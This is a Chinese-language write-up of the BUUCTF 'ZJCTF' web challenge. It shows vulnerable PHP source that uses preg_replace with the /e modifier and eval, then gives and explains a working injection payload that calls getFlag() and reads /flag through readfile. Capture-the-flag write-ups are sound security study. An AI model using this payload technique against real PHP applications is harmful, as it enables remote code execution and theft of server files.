BUUCTF-web ZJCTF,不过如此
时间:2020-05-30
本文章向大家介绍BUUCTF-web ZJCTF,不过如此,主要包括BUUCTF-web ZJCTF,不过如此使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
很明显要利用伪协议读next.php
base64解码后查看源码
1 <?php 2 $id = $_GET['id']; 3 $_SESSION['id'] = $id; 4 5 function complex($re, $str) { 6 return preg_replace( 7 '/(' . $re . ')/ei', 8 'strtolower("\\1")', 9 $str 10 ); 11 } 12 13 14 foreach($_GET as $re => $str) { 15 echo complex($re, $str). "\n"; 16 } 17 18 function getFlag(){ 19 @eval($_GET['cmd']); 20 }
可以看到。preg_replace函数加了/e。/e 修正符使 preg_replace() 将 replacement 参数(preg_replace 函数的第二个参数)当作 PHP 代码,导致命令执行。本题需要想办法调用getFlag()命令执行获取flag
\1 是一种后向引用,表示表达式中,从左往右数,第一个左括号对应的括号内的内容。
以此类推,\2表示第二个,\0表示整个表达式。在本题中对应着get的参数id。
payload:\S*=${getflag()}&cmd=readfile("/flag");
为什么用"\S*"做变量名 ?
"\S"在正则中表示所有非空白字符,"\S*"相当于匹配所有非空白字符串。这样就能匹配到getFlag(),结合前面的\1,使我们能够控制preg_replace的第二个参数
为什么要用${getflag()}?
因为正则之后getflag()就是字符串,是不会被执行的。不加${}第二参数'strtolower("\\1")'等价于'getflag()'。被解析成字符串。所以加上${}使getflag()先被执行。
之后再用readfile读flag
7.0.0版本之后不再支持 /e修饰符。 需要用 preg_replace_callback() 代替。
原文地址:https://www.cnblogs.com/remon535/p/12896732.html
- 命令行打印文件树列表: tree
- JavaScript 获取鼠标及元素在页面上的位置
- Spring cache简单使用guava cache
- SpringMVC参数校验(针对`@RequestBody`返回`400`)
- Java8学习(3)- Lambda 表达式
- Java8 in action(1) 通过行为参数化传递代码--lambda代替策略模式
- java中byte, iso-8859-1, UTF-8,乱码的根源
- 如何启动一个本地静态服务器
- Hello ReactJS
- git合并历史提交
- 常用连续型分布介绍及R语言实现
- banner自动生成工具,ascii文字展示
- 快速排序
- 2016.07 第2周 群问题分享
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法